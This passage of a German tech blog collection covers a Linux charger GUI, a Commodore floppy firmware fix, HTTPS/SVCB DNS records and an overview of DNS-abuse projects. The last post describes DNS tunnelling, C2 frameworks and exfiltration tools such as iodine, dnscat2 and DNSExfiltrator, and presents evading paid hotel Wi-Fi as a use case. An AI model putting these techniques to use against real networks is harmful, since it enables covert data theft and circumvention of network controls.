| Raspberry Pi 4 (4 GB) | ~60–75 EUR |
| RTL-SDR USB-Dongle | ~10–25 EUR |
| Antenne (Eigenbau) | ~5–10 EUR |
| GPS-Dongle VK-162 | ~15 EUR |
| SD-Karte 64 GB | ~10 EUR |
| Netzteil, Kabel, Gehäuse | ~15–20 EUR |
| **Gesamt** | **~115–155 EUR** |
Für 115 bis 155 Euro bekommt man einen funktionierenden ADS-B-Feeder und einen Flightradar24 Business-Account im Wert von knapp 500 Euro pro Jahr. Das Projekt amortisiert sich also ziemlich schnell.
Was noch kommt
- **MLAT aktivieren**, sobald FR24 den NTP-Bug fixt
- **Outdoor-Montage** der Antenne mit Wetterschutz, das sollte die Reichweite nochmals deutlich verbessern
- **Parallel-Feeding** an FlightAware, ADS-B Exchange und andere Dienste
Siehe auch:
- [Raspberry Pi als FM-Radiosender mit PiFM](https://www.kernel-error.de/2014/09/30/raspberry-pi-als-radiosender/) — ein anderes Funk-Projekt mit dem Pi
- [Raspberry Pi als serieller Konsolenserver](https://www.kernel-error.de/2026/03/08/raspberry-pi-als-serieller-konsolenserver/) — noch ein Pi aus der Schublade mit neuer Aufgabe
- [DIY Feinstaubsensor bauen: Luftqualität selbst messen](https://www.kernel-error.de/2020/06/26/luftqualitaet-feinstaub-und-mehr-messen/) — ähnliches Bastelprojekt mit Sensor und Mikrocontroller
- [Temperatur und Luftfeuchtigkeit mit DHT22 am Raspberry Pi messen](https://www.kernel-error.de/2014/11/23/temperaturmessung-mit-dem-raspberry-pi-und-dem-dht22/) — der Pi als Sensorplattform
Fragen, eigene Erfahrungen mit ADS-B oder Verbesserungsvorschläge? Gerne über das [Kontaktformular](https://www.kernel-error.de/kontakt/).
---
## 53. Voltcraft CM 2016: Endlich eine Linux-GUI für das Ladegerät
**URL:** https://www.kernel-error.de/2026/03/21/voltcraft-cm-2016-linux-gui-ladegeraet-gtk4-python/
**Datum:** 2026-03-21
**Kategorie:** Linux, Open Source
**Tags:** Linux, GTK4, Python, Voltcraft, Ladegerät, Akku, NiMH, Reverse Engineering, Open Source, USB
Seit bestimmt zehn Jahren steht hier ein Voltcraft Charge Manager CM 2016 auf dem Schreibtisch. Irgendwann bei Conrad gekauft, als die tatsächlich noch Geschäfte in der Innenstadt hatten. Damals mit zwei kleinen Kindern war der Akkuverbrauch enorm. Spielzeugautos, Taschenlampen, Fernbedienungen, irgendwas war immer leer. Einwegbatterien waren teurer als heute (zumindest in meiner Erinnerung), und so wurde das Ladegerät schnell zum wichtigsten Gerät im Haushalt.
Das CM 2016 hat sechs unabhängige Ladeschächte (vier für AA/AAA, zwei für 9V-Blöcke) und kann deutlich mehr als nur Laden. Es misst Kapazitäten, erkennt defekte Akkus, kann Lade-/Entladezyklen fahren und hält Akkus per Trickle-Charge am Leben.
### Das Problem: kein Linux, kein gar nichts
Das CM 2016 kommt mit einer Windows-Software. CM2016 Logger V2.10, eine .NET-Anwendung von 2013. Unter Linux funktioniert die nicht. Es gibt ein paar Projekte, die das Gerät auf der Kommandozeile auslesen können, ein Java-Tool hier, ein Python-Script dort. Eine echte GUI für Linux oder FreeBSD? Fehlanzeige. Eine kommerzielle Java-GUI existiert zwar, aber nur als 30-Tage-Trial.
### Das Ergebnis: eine native GTK4-Anwendung
Repository: https://github.com/Kernel-Error/voltcraft-cm2016
Lizenz: MIT
Version: 0.1.0
Features:
- Echtzeit-Überwachung aller 6 Ladeschächte mit Autoscroll und Slot-Filterung
- Spannungs- und Strom-Diagramme als Linien- oder Balkendiagramm mit Zeitfenster-Steuerung
- Chart-Zoom per Maus-Drag, Scrollrad oder Tastatur, dazu Daten-Tooltips
- Export als CSV oder Spreadsheet (.xlsx mit eingebetteten Diagrammen)
- Druckfunktion für Messprotokolle im DIN A4 Querformat
- Speichern und Laden von Aufzeichnungen (.cm2016 Dateien), inklusive Crash-Recovery
- Sleep-Inhibit: System schläft nicht ein während der Aufzeichnung
- 7 Sprachen: Deutsch, Englisch, Französisch, Niederländisch, Italienisch, Spanisch, Polnisch
- 135 Unit-Tests
### Protokoll Reverse Engineering
Das CM 2016 sendet alle zwei Sekunden einen 127-Byte-Frame über die serielle Schnittstelle (19200 Baud, 8N1). Die ersten sieben Bytes sind immer `CM2016 `, dann folgen zehn Bytes Header und je 18 Bytes pro Ladeschacht.
Fehler in der existierenden Dokumentation, die mit echten Messdaten korrigiert wurden:
- **Kapazitätsfelder sind 32-Bit Little-Endian**, nicht 24-Bit wie es in mehreren Quellen steht
- **Der dokumentierte Byte-Swap für Discharge-Capacity war falsch** — mehrere Referenzprojekte haben die Bytes in der falschen Reihenfolge gelesen
- **Die Header-Bytes 7-16 waren bisher größtenteils undokumentiert** — tatsächlich stecken da Firmware-Version, Akku-Chemie (NiMH/NiZn), Temperaturdaten und ein Action-Counter drin (Big-Endian, im Gegensatz zu den Little-Endian Slot-Daten)
- **Kapazitätsskalierung hängt vom Slot-Typ ab:** Slots 1-4 (AA/AAA) teilen durch 100, 9V-Slots durch 1000. Strom: AA/AAA durch 1000, 9V durch 10000
### Technik
- GTK4 + libadwaita für GNOME-Oberfläche mit Dark Mode
- Cairo für Diagramm-Rendering
- pyserial für seriellen Zugriff, CP210x-Erkennung über USB VID/PID
- openpyxl für .xlsx-Export mit eingebetteten Diagrammen
- Crash-Recovery über automatische Temp-Dateien
### Installation
Debian/Ubuntu/Mint:
```
sudo apt install python3-gi python3-gi-cairo gir1.2-gtk-4.0 gir1.2-adw-1
git clone https://github.com/Kernel-Error/voltcraft-cm2016.git
cd voltcraft-cm2016
python3 -m venv --system-site-packages .venv
source .venv/bin/activate
pip install -e .
cm2016
```
Ein .deb-Paket gibt es auf der GitHub Releases Seite. Flatpak-Manifest liegt im Repository, Flathub-Einreichung läuft.
---
## 54. Commodore Floppy Disk Preservation: Firmware-Bug im xum1541 gefunden und gefixt
**URL**: https://www.kernel-error.de/2026/03/25/commodore-floppy-disk-preservation-xum1541-firmware-bug-opencbm/
**Datum**: 2026-03-25
**Kategorie**: Retro-Computing
**Tags**: Commodore, Firmware, Linux, Open Source, retro, USB
In meinem Keller stehen Kisten voller alter 5,25-Zoll-Disketten. Commodore-Software aus den späten 80ern, Spiele, Tools, selbstgeschriebener Kram. Das Problem mit Floppy-Disks: die Magnetisierung lässt mit der Zeit nach. Alle paar Jahre sollte man die Daten einmal komplett lesen und zurückschreiben, sonst wird das Medium irgendwann unlesbar. Mein letztes Auffrischen ist eine Weile her, also war es mal wieder Zeit. Zugegeben, ich arbeite nur noch extrem selten mit meinem Commodore; aber wenn ich es mache, ist es immer eine kleine Zeitreise voller Nostalgie für mich. Die Geräusche, der Geruch, die Wartezeit. Hin und wieder tut es mir einfach gut, noch mal die alten Spiele zu spielen, mit den Tools zu arbeiten oder auch meine ersten eigenen Programme noch mal zu starten, in den Code zu schauen *kopfschütteln*.... Ich habe sogar noch alte Hausaufgaben auf Disketten :-D
Was als routinemäßige Sicherungsaktion geplant war, wurde dann allerdings eine mehrtägige Debugging-Session. Inklusive eines Firmware-Bugs, der seit sechs Jahren im Code schlummerte.
### Die Ausgangslage
Mein Setup: Zwei Commodore 1571 Laufwerke, angeschlossen über einen xum1541 USB-Adapter an einem Linux-Rechner. Der xum1541 sitzt auf einem TEENSY2-Board (ATmega32U4) und spricht über USB mit OpenCBM (https://github.com/OpenCBM/OpenCBM), einer Open-Source-Treibersammlung für Commodore-Laufwerke. Die Software-Seite hatte ich in einer vorherigen Session bereits verifiziert. Beide Laufwerke laufen bei fast perfekten 300,5 RPM, lesen und schreiben fehlerfrei auf beiden Seiten und liefern sogar bit-identische Images im Crosscheck.
Der Plan war simpel: Alle Disketten systematisch als 1:1-Image sichern, die physischen Medien durch Zurückschreiben auffrischen und nebenbei prüfen, ob die Inhalte bereits in Online-Archiven wie CSDB, Gamebase64 oder dem Internet Archive vorhanden sind.
Der xum1541 im gelben Gehäuse. Links das USB-Kabel zum Linux-Rechner, rechts das IEC-Kabel zur 1571:
Und ein Blick auf die Platine mit dem Teensy2-Board (ATmega32U4), in dem der Firmware-Bug steckte:
### Disk 001: Pirates! und das Kopierschutz-Problem
Die erste Disk war eine Pirates!-Kopie (Microprose, 1987), "imported by The Critters Inc 1221". Mit `d64copy` ausgelesen, 683 Blocks, keine Fehler. Dann zurückgeschrieben und zur Verifikation nochmal gelesen. Checksummen stimmten nicht überein.
Die Analyse ergab: Das Original-D64 enthält drei Sektoren mit Error Code 5 (Data Block Checksum Error) auf Track 23 und 24. Das ist klassischer C64-Kopierschutz. Microprose nutzte absichtliche Lesefehler, um Raubkopien zu erkennen. Das Spiel prüft beim Start ob diese Fehler vorhanden sind, fehlen sie, verweigert es den Dienst.
`d64copy` arbeitet auf Sektor-Ebene und kann solche GCR-Level-Fehler nicht reproduzieren. Die Error-Info wird zwar im D64 gespeichert (Emulatoren wie VICE werten sie aus), aber auf der physischen Disk gehen die absichtlichen Fehler beim Zurückschreiben verloren. Für eine echte 1:1-Kopie inklusive Kopierschutz braucht man `nibtools`. Das arbeitet direkt auf GCR/Nibble-Ebene und liest die Rohdaten vom Laufwerk, inklusive aller Timing-Patterns und absichtlichen Fehler.
### nibtools bauen und der erste Crash
`nibtools` liegt als Quellcode im OpenCBM-Quellbaum, muss aber separat gebaut werden. Ich habe den markusC64-v637 Branch von GitHub genommen. Build mit dem cc65 Cross-Compiler für den 6502-Floppy-Code und gcc für die Host-Tools ging glatt. Erster Versuch:
```
nibread -D8 image.nib
```
Ergebnis: `LIBUSB_ERROR_PIPE`. Der USB-Transfer bricht sofort ab, nachdem der Drive-Code hochgeladen ist. nibtools erkennt die 1571 korrekt und versucht SRQ-Burst-Transfers zu nutzen, ein schnelles serielles Protokoll das die CIA-UART der 1571 verwendet. Aber der Transfer scheitert schon beim Communication-Test.
### Drei Schichten tief: der Firmware-Bug
**Schicht 1: Bekannter SRQ-Bug in Firmware v7.** Die xum1541-Firmware v7 hatte einen dokumentierten Bug: `IEC_SRQ` war als `0x80` definiert (Bit 7), aber die Lookup-Tabelle `iec2hw_table` hatte nur 16 Einträge (4 Bits). SRQ-Operationen griffen ins Leere. In v8 gefixt: `IEC_SRQ` auf `0x10` geändert, Tabelle auf 32 Einträge erweitert. Commit `3ef4fc0d` von Spiro Trikaliotis, 2021.
Problem: Es gab kein fertiges v8-Hex für das TEENSY2-Board. Nur für ZOOMFLOPPY und PROMICRO. Die Boards haben unterschiedliche Mikrocontroller-Pin-Belegungen, also kann man die Firmware nicht einfach zwischen Boards tauschen. Lösung: AVR-Toolchain installiert (`gcc-avr`, `avr-libc`), v8 für TEENSY2 selbst gebaut und über den HalfKay-Bootloader geflasht.
```
teensy_loader_cli --mcu=atmega32u4 -w -v firmware.hex
```
Risikofrei, da der Bootloader in einem geschützten Flash-Bereich sitzt. Knopf am Teensy drücken, flashen, fertig.
**Schicht 2: v8 geflasht, gleiches Problem.** Auch mit v8 kommt `LIBUSB_ERROR_PIPE`. Die OpenCBM-Library musste ebenfalls neu gebaut werden, sie prüft die Firmware-Version und war noch auf v7 kompiliert. Neu gebaut, installiert. Immer noch Crash.
**Schicht 3: Der eigentliche Bug.** Also tiefer in den Quellcode. In `board-teensy2.h`, Funktion `iec_srq_write()`:
```
// BUGGY — seit Commit 57bb6726 (April 2020)
PORTD = (((data >> 4) & IO_DATA) ^ IO_DATA) | IO_SRQ;
```
Das wurde 1:1 von der ZoomFloppy-Implementierung kopiert. Aber die Pin-Belegung ist bei den Boards unterschiedlich:
- ZoomFloppy hat `IO_DATA` auf Port D, Bit 4 (PD4)
- TEENSY2 hat `IO_DATA` auf Port F, Bit 0 (PF0)
Der Code schrieb auf den komplett falschen Port mit dem falschen Bit-Shift. Das erklärt warum der Communication-Test sofort fehlschlug. Die SRQ-Daten kamen nie auf den richtigen Pins an.
Der Fix, analog zur korrekten PROMICRO-Implementierung:
```
// FIXED
uint8_t port_base_data = (DDRF & IO_ATN) | IO_SRQ;
// ...
DDRF = (((data >> 7) & IO_DATA) ^ IO_DATA) | port_base_data;
```
Die Änderungen im Detail: `PORTD` wird zu `DDRF` (richtiger Port für die IEC-Leitungen beim TEENSY2), der Shift von `data >> 4` auf `data >> 7` (Bit 7 des Datenbytes auf Bit 0 des Ports, wo `IO_DATA` liegt), und der ATN-Zustand wird über `port_base_data` erhalten, was vorher nicht berücksichtigt war. Timing von 0,935 µs auf 0,80 µs angepasst, passend zur PROMICRO-Implementierung.
Firmware neu gebaut (8260 Bytes, 32 mehr als vorher), geflasht. `nibread` läuft sofort fehlerfrei durch alle 41 Tracks. Der Bug steckte seit April 2020 im Code. Jeder mit einem TEENSY2-basierten xum1541 hatte dieses Problem bei SRQ-Transfers.
Den Fix habe ich als Pull Request eingereicht: PR #143 bei OpenCBM (https://github.com/OpenCBM/OpenCBM/pull/143).
### Die bittere Lektion mit Disk 001
Die erste Pirates!-Disk, der Import von The Critters Inc, war zu diesem Zeitpunkt bereits zerstört. Ich hatte sie vor dem Fix mit `d64copy` zurückgeschrieben. Das hat die GCR-Level-Kopierschutzmuster überschrieben. Das anschließend mit `nibread` erstellte NIB-Image zeigt nur noch die "reparierten" Sektoren, nicht den originalen Kopierschutz. Disk und Images entsorgt.
Die Lektion ist simpel und ärgerlich zugleich: Nie zurückschreiben, bevor das NIB-Image existiert.
### Der Workflow ab Disk 002
Ab der zweiten Disk lief der Prozess dann sauber:
- `nibread -D8` — GCR-Rohdaten lesen, inklusive Kopierschutz
- `d64copy` — Sektor-Level-Image für Emulatoren
- `nibwrite` — 1:1 zurückschreiben aus dem NIB (erhält Kopierschutz)
- `d64copy` nochmal lesen + MD5-Vergleich zur Verifikation
### Ergebnisse
| Disk | Inhalt | Status || 001 | Pirates! (The Critters Inc) | Verloren — Kopierschutz vor dem Fix zerstört || 002 | Ace of Aces, Light Force, Hacker + Trainers | Gesichert + aufgefrischt, Killer Track auf Track 1 erhalten || 003 | Commando, The Last V8, Robin of the Wood | Verloren — Medium physisch zu schwer beschädigt || 004 | Warplay, Worldcup 86, Hyper Olympics | Gesichert, Original-Disk defekt (T18/S15) || 005 | Pirates! (The Red Lions Import, 2-Disk) | Gesichert + aufgefrischt + verifiziert |
### Technische Eckdaten
Für die Leute die es genau wissen wollen:
- **Hardware:** 2× Commodore 1571, xum1541 (TEENSY2, ATmega32U4), Linux-Host
- **Software:** OpenCBM (from source), nibtools (markusC64-v637), VICE 3.7.1
- **RPM:** Konstant 300,5 RPM (Nominal: 300). Die 1571 ist elektronisch geregelt, kein Trimmpoti
- **Kopierschutz-Typen:** Error Code 5 (Checksum Errors) auf Pirates!, Killer Track (Track komplett mit Sync-Bytes) auf der Crocodile Soft Compilation
- **NIB-Format:** ~336 KB pro Disk (41 Tracks × 8192 Bytes GCR-Rohdaten)
- **D64-Format:** ~175 KB pro Disk (683 Sektoren × 256 Bytes + optional 683 Bytes Error-Info)
### Fazit
Was als "schnell mal Disketten auffrischen" geplant war, endete in einer Reise durch sechs Jahre alten Firmware-Code. Der Bug in `iec_srq_write()` war ein klassischer Copy-Paste-Fehler, der nie aufgefallen ist, weil kaum jemand nibtools mit einem TEENSY2-Board benutzt. SRQ-Burst-Transfers braucht man nur für nibtools, und die meisten Leute nutzen ohnehin einen ZoomFloppy-Adapter, wo der Code korrekt ist.
Der Verlust von Disk 001 ärgert mich immer noch. Aber die Lektion sitzt: Erst NIB, dann zurückschreiben. Und wenn ein Tool beim ersten Mal nicht funktioniert, lohnt es sich manchmal die Firmware aufzuschrauben, statt das Tool wegzulegen.
Der Blick ins Regal, wo das alles steht. Ja, es ist voll da unten:
Siehe auch: Commodore - PC Projekt (https://www.kernel-error.de/2009/08/20/commodore-pc-projekt/) (mein erster Versuch mit cbm4linux und einem XM1541-Kabel, anno 2009) und VC-64 Turbo Tape (1986) (https://www.kernel-error.de/2024/03/29/vc-64-turbo-tape-c-1986-by-cik/).
Fragen? Einfach melden. (https://www.kernel-error.de/kontakt/)
## 55. HTTPS RR und SVCB: Moderne DNS-Records für schnellere und sicherere Verbindungen
- **URL**: https://www.kernel-error.de/2025/09/30/https-rr-svcb-moderne-dns-records-schnellere-sicherere-verbindungen/
- **Datum**: 2025-09-30
- **Kategorie**: Netzwerke & Protokolle
- **Tags**: DNS, DNSSEC, HTTPS RR, SVCB, BIND, FreeBSD, HTTP/3, QUIC, DoH, DoT, ECH, TLS, RFC 9460, IPv6
Wenn ein Browser eine HTTPS-Verbindung aufbaut, braucht er normalerweise mehrere DNS-Lookups und Round-Trips, bevor er überhaupt weiß, welche Protokolle der Server unterstützt. Erst A/AAAA-Record abfragen, dann TCP-Verbindung, dann TLS-Handshake, dann Alt-Svc-Header parsen für HTTP/3. Das ist ineffizient und seit November 2023 gibt es mit RFC 9460 eine saubere Lösung dafür: den HTTPS Resource Record.
Die großen Browser Hersteller unterstützen das ebenfalls schon, eigentlich mehr aus Eigeninteresse, denn viele Vorschläge kommen sogar direkt von ihnen. Oh, natürlich sollte die jeweilige Zone auch per DNSSec geschützt sein, denn wir wollen uns hier ja auf´s DNS verlassen können. Richtig?! Wenn ihr also noch kein DNSsec für eure Domain aktiviert habt (warum nicht?) dann bitte jetzt, wir haben bald 2026!
Ich habe das jetzt auf meiner DNS-Infrastruktur (BIND 9.20, FreeBSD, Master-Slave-Setup) für alle relevanten Dienste ausgerollt und dabei auch gleich SVCB-Records für die DNS-Server selbst gesetzt. Hier die Details.
### Was ist der HTTPS RR?
Der HTTPS Resource Record (Typ 65) ist in RFC 9460 definiert ("Service Binding and Parameter Specification via the DNS", November 2023). Die Idee ist simpel: ein einziger DNS-Lookup liefert dem Client alles, was er für den Verbindungsaufbau braucht. IP-Adressen, unterstützte Protokolle wie HTTP/2 oder HTTP/3, Ports, und perspektivisch auch die ECH-Konfiguration für verschlüsselten SNI.
Ohne HTTPS RR sieht der Ablauf so aus: Der Client fragt A und AAAA ab, baut eine TCP-Verbindung auf, macht den TLS-Handshake, und erfährt erst aus dem Alt-Svc-Header oder durch ALPN im TLS, dass der Server auch HTTP/3 kann. Beim nächsten Request kann er dann QUIC probieren. Das sind mindestens zwei Verbindungsversuche, bis er auf dem optimalen Protokoll landet.
Mit HTTPS RR weiß der Client schon nach dem DNS-Lookup: "Dieser Server spricht h3 und h2, ist unter diesen IPs erreichbar, und hier ist die ECH-Config." Er kann direkt mit QUIC/HTTP/3 starten, ohne vorher TCP probiert zu haben.
### Die SvcParams im Detail
Ein HTTPS RR besteht aus einer Priorität (SvcPriority), einem Zielnamen (TargetName) und einer Reihe von Service Parameters (SvcParams). Hier ein Überblick über alle definierten Parameter:
- **alpn** (Application-Layer Protocol Negotiation): Signalisiert welche Protokolle der Server unterstützt. Typische Werte sind h2 (HTTP/2 über TLS), h3 (HTTP/3 über QUIC) oder dot (DNS over TLS). Der Client weiß damit vor dem Verbindungsaufbau, welche Protokolle zur Verfügung stehen.
- **ipv4hint / ipv6hint**: IP-Adressen als Hint. Der Client kann diese nutzen, statt einen separaten A/AAAA-Lookup zu machen. Das spart einen Round-Trip. Wichtig: das sind Hints, keine autoritativen Antworten.
- **ech** (Encrypted Client Hello): Enthält den öffentlichen Schlüssel und die Parameter für ECH. Damit verschlüsselt der Client den SNI im TLS-Handshake, sodass ein Beobachter nicht sehen kann, welche Domain angefragt wird. Das ist der größte Privacy-Gewinn, den HTTPS RR bieten kann.
- **port**: Falls der Service auf einem nicht-Standard-Port läuft.
- **no-default-alpn**: Signalisiert, dass die Standard-ALPNs nicht gelten.
- **mandatory**: Listet Parameter auf, die ein Client zwingend verstehen muss, um den Record nutzen zu können.
- **SvcPriority**: 0 = AliasMode (ähnlich CNAME), >0 = ServiceMode. Mehrere Records mit unterschiedlichen Prioritäten ermöglichen Fallback-Ketten.
- **TargetName**: Zielserver, ermöglicht Indirektion auf einen anderen Hostnamen.
### SVCB: Das generische Pendant
Der SVCB Resource Record (Typ 64) kommt aus demselben RFC 9460, ist aber nicht auf HTTPS beschränkt. Besonders interessant wird SVCB für die DNS Service Discovery nach RFC 9461 ("Service Binding Mapping for DNS Servers"). Damit kann ein DNS-Server per DNS-Record signalisieren, dass er DoT und DoH (RFC 8484) unterstützt. Der Record liegt unter dem Prefix _dns. vor dem Servernamen.
Der dohpath-Parameter aus RFC 9461 teilt dem Client direkt den URI-Pfad zum DoH-Endpoint mit. Zusammen mit RFC 9462 ("Discovery of Designated Resolvers", DDR) kann ein Client damit automatisch erkennen, dass sein Resolver verschlüsselte Protokolle unterstützt.
### Was konkret deployt wurde
Insgesamt 5 neue Records in zwei Zonen:
Zone kernel-error.de:
dig HTTPS kernel-error.de +short
1 kernel-error.de. alpn="h3,h2" ipv4hint=148.251.30.200 ipv6hint=2a01:4f8:262:4716::443
dig HTTPS dns.kernel-error.de +short
1 dns.kernel-error.de. alpn="h3,h2" ipv4hint=37.120.183.220 ipv6hint=2a03:4000:38:20e::853
dig SVCB _dns.dns.kernel-error.de +short
1 dns.kernel-error.de. alpn="h2,dot" dohpath=/dns-query{?dns} port=443
2 dns.kernel-error.de. alpn="dot" port=853
Zone kernel-error.com:
dig HTTPS kernel-error.com +short
1 kernel-error.com. alpn="h3,h2" ipv4hint=148.251.30.204 ipv6hint=2a01:4f8:262:4716::52
dig HTTPS matrix.kernel-error.com +short
1 matrix.kernel-error.com. alpn="h3,h2" ipv4hint=148.251.30.204 ipv6hint=2a01:4f8:262:4716::52
### CNAME-Interaktion
HTTPS RR und CNAME können laut RFC 9460 nicht am selben DNS-Namen koexistieren. chat.kernel-error.com und admin.kernel-error.com sind CNAMEs auf matrix.kernel-error.com — Clients folgen dem CNAME und nutzen den HTTPS RR des Ziels.
### Was bewusst nicht umgesetzt wurde
- **ECH**: OpenSSL 3.5 hat die API, aber nginx nutzt sie nicht (selbst Version 1.29.7). Kommt sobald nginx ECH nativ unterstützt.
- **DoQ** (RFC 9250): BIND 9.20 unterstützt kein DNS over QUIC. Nicht dasselbe wie DoH über HTTP/3.
- **SVCB für SMTP/IMAP**: IETF-Drafts noch nicht final, kein MTA/Client wertet sie aus. SRV-Records sind heute das Richtige.
- **HTTPS RR für turn.kernel-error.com**: Primär TURN/STUN, kein Web-Dienst.
- **HTTPS RR für rtc.kernel-error.com**: Kein HTTP/3 auf diesem Server.
### Deployment in DNSSEC-signierten Zonen
Beide Zonen sind DNSSEC-signiert (ECDSAP256SHA256, inline-signing). Workflow: rndc freeze → Zonendatei editieren → Serial bumpen → named-checkzone → rndc thaw. BIND 9.20 unterstützt HTTPS und SVCB Records nativ.
### Relevante RFCs
- RFC 9460: Service Binding and Parameter Specification via the DNS (HTTPS RR + SVCB)
- RFC 9461: Service Binding Mapping for DNS Servers (SVCB für DoT/DoH Discovery)
- RFC 9462: Discovery of Designated Resolvers (DDR)
- RFC 9250: DNS over Dedicated QUIC Connections (DoQ)
- RFC 8484: DNS Queries over HTTPS (DoH)
---
## 56. DNS missbrauchen: Dateisysteme, DOOM und Tunnel durch Port 53
**Date:** 2026-03-31 | **URL:** https://www.kernel-error.de/2026/03/31/dns-missbrauchen-dateisysteme-doom-tunnel-port-53/
Es gibt Dinge, bei denen man sich fragt, ob die Menschheit vielleicht einfach zu viel Freizeit hat. DNS ist so ein Protokoll, das eigentlich nur eine Aufgabe hat: Namen in IP-Adressen auflösen. Fertig. Simpel. Seit 1983 im Dienst. Aber nein, das reicht manchen Leuten natürlich nicht. Irgendwer schaut sich DNS an und denkt: "Da geht noch was." Und dann passieren Dinge. Michael (https://www.geekbundle.org/uber-mich/) hat mich zuletzt noch einmal daran erinnert (dankööö).
Ich habe mir mal ein paar Projekte angeschaut, die DNS auf eine Art und Weise nutzen, die man nur als kreative Vergewaltigung bezeichnen kann. Jedes einzelne davon ist gleichzeitig brillant und komplett wahnsinnig.
### dnsfs: DNS-Resolver als Festplatte
Ben Cox, bekannt als benjojo (https://github.com/benjojo), hatte offensichtlich eines Tages die Idee: Was, wenn man die Caches von DNS-Resolvern weltweit als verteiltes Dateisystem benutzt? Nicht die eigenen Resolver. Die von anderen Leuten. Einfach so.
dnsfs (https://github.com/benjojo/dnsfs) zerlegt Dateien in Chunks, kodiert sie als Base64 und schiebt sie als TXT-Records mit einem TTL von 2.147.483.646 Sekunden raus. Das sind knapp 68 Jahre. An fremde, offene DNS-Resolver. Die cachen das brav, und wenn man die Datei wieder haben will, fragt man dieselben Resolver einfach nochmal. Jeder Chunk wird auf drei verschiedenen Resolvern abgelegt, falls einer mal seinen Cache leert.
Verschlüsselung? Nein. Integritätsprüfung? Auch nein. Die Fehlerbehandlung beim Upload besteht darin, 2,5 Sekunden zu warten und bei Misserfolg ein `:3` auszugeben. Als Null-Wert verwendet der Code den String "kittens". Ich liebe es.
Ben hat das Ganze natürlich auch verbloggt (https://blog.benjojo.co.uk/post/dns-filesystem-true-cloud-storage-dnsfs) und den Titel "true cloud storage" gegeben. Technisch korrekt. Die Daten liegen ja wirklich verteilt in der Cloud. Nur halt in der Cloud anderer Leute.
### DOOM over DNS: Es läuft immer DOOM
Man kennt das Meme: "But can it run DOOM?" Die Antwort ist immer ja. Taschenrechner, Schwangerschaftstests, Geldautomaten, alles läuft DOOM. Aber doom-over-dns (https://github.com/resumex/doom-over-dns) treibt das auf die Spitze.
Die komplette DOOM-WAD (~4 MB) und die Game-Engine werden in fast 2.000 DNS TXT-Records zerlegt und über die Cloudflare API hochgeladen. Ein PowerShell-Skript fragt diese Records zur Laufzeit ab, setzt alles im RAM zusammen und startet das Spiel. Keine Datei wird jemals auf die Festplatte geschrieben. DOOM materialisiert sich quasi aus dem DNS.
Der besondere Clou: Cloudflare liefert die Records über sein globales CDN aus. Man bekommt also kostenloses, weltweites Content-Delivery für DOOM. Im Free-Tier. Man braucht allerdings mehrere Domains, weil Cloudflare die Anzahl der TXT-Records pro Zone begrenzt. Kein Sound, nur Windows, aber hey, es ist DOOM. Aus DNS. Was will man mehr.
### iodine: VPN durch die Hintertür
Während die ersten beiden Projekte eher in die Kategorie "weil man es kann" fallen, ist iodine (https://github.com/yarrick/iodine) bitterer Ernst. Seit 2006 aktiv, 7.700 Stars auf GitHub, in C geschrieben und absolut produktionstauglich.
iodine tunnelt kompletten IPv4-Traffic durch DNS-Queries. Daten werden in Subdomain-Labels kodiert (Base32, Base64 oder Base128, je nachdem was der Resolver durchlässt), die Antworten kommen als NULL-, TXT-, SRV-, MX- oder A-Records zurück. Auf beiden Seiten wird ein TUN-Device erstellt und man hat einen vollständigen IP-Tunnel. Durch DNS. Port 53.
Der klassische Use-Case: Du sitzt im Hotel oder am Flughafen, das WLAN kostet 15 Euro pro Stunde, aber DNS-Queries gehen durch. iodine raus, SSH drüber, fertig. Kein besonders schneller Tunnel, einstellige Mbit/s wenn man Glück hat, aber es funktioniert. Seit fast 20 Jahren. Weil DNS-Traffic einfach fast nie geblockt wird.
### dnscat2: Command & Control für Pentester
Wo iodine ein Tunnel ist, ist dnscat2 (https://github.com/iagox86/dnscat2) ein komplettes C2-Framework. Ron Bowes hat das Ding für Penetration-Tests gebaut, und es kann deutlich mehr als nur Daten durchschleusen.
Ein C-Client auf dem Zielrechner kommuniziert über DNS-Queries (TXT, CNAME, MX) mit einem Ruby-Server auf dem eigenen autoritativen Nameserver. Der Traffic traversiert die normale DNS-Hierarchie, sieht also für jeden Beobachter aus wie ganz normales DNS. Das Framework bietet interaktive Shells, Dateitransfer, Port-Forwarding und Multi-Session-Management mit einer Metasploit-artigen Konsole.
Die Verschlüsselung nutzt ECDH, Salsa20 und SHA3. Allerdings ist das Crypto selbst designed und wurde nie professionell auditiert. In einem Pentest ist das okay. Für alles andere, naja.
### DNSExfiltrator: Daten rausschmuggeln
DNSExfiltrator (https://github.com/Arno0x/DNSExfiltrator) macht genau das, was der Name sagt: Dateien über DNS-Queries aus einem Netzwerk schmuggeln. Die Datei wird komprimiert, mit RC4 oder AES verschlüsselt und in Base64-kodierte Subdomain-Labels zerlegt. Jedes Label ist eine DNS-Query an den eigenen autoritativen Nameserver, der die Chunks reassembliert.
Das ist kein Spaßprojekt mehr. DNSExfiltrator wird in echten Red-Team-Assessments eingesetzt. Es funktioniert fast überall, weil kaum eine Firewall DNS-Traffic komplett blockiert. Der Client läuft als PowerShell-Skript oder kompiliertes C#, also genau das, was man auf einer Windows-Kiste in einem Unternehmensnetzwerk vorfindet.
### Warum DNS?
Die ehrliche Antwort: Weil DNS überall durchkommt. Port 53 ist der eine Port, den wirklich jede Firewall aufmacht. DNS-Traffic wird selten inspiziert, selten rate-limited, selten als verdächtig eingestuft. Das Protokoll ist so fundamental für das Funktionieren des Internets, dass man es schlecht abdrehen kann. Und genau das macht es zum perfekten Kanal für alles, wofür es nie gedacht war.
TXT-Records nehmen quasi beliebigen Text auf. Subdomain-Labels können kodierte Daten enthalten. TTLs bestimmen, wie lange Resolver Daten cachen. Das sind alles Features, die für völlig legitime Zwecke existieren, aber in Kombination ein erstaunlich flexibles Daten-Transportmedium ergeben.
Von "Dateisystem in fremden Resolver-Caches" über "DOOM aus TXT-Records" bis hin zu "vollständiges C2-Framework für Pentester": DNS hält das alles aus. Das Protokoll ist 43 Jahre alt und wurde seitdem in einer Art missbraucht, die sich Paul Mockapetris 1983 sicherlich nicht vorgestellt hat. Aber es funktioniert. Und das ist irgendwie das Schönste daran.
Sollte man eines dieser Projekte produktiv einsetzen? Auf gar keinen Fall. Sind sie trotzdem großartig? Absolut. Manchmal ist die richtige Reaktion auf "Aber warum?" einfach: "Weil es geht."
Siehe auch:
- HTTPS RR und SVCB: Moderne DNS-Records für schnellere und sicherere Verbindungen (https://www.kernel-error.de/2025/09/30/https-rr-svcb-moderne-dns-records-schnellere-sicherere-verbindungen/)
Fragen oder eigene DNS-Verbrechen zu gestehen? Dann kannst du mich gerne fragen (https://www.kernel-error.de/kontakt/).
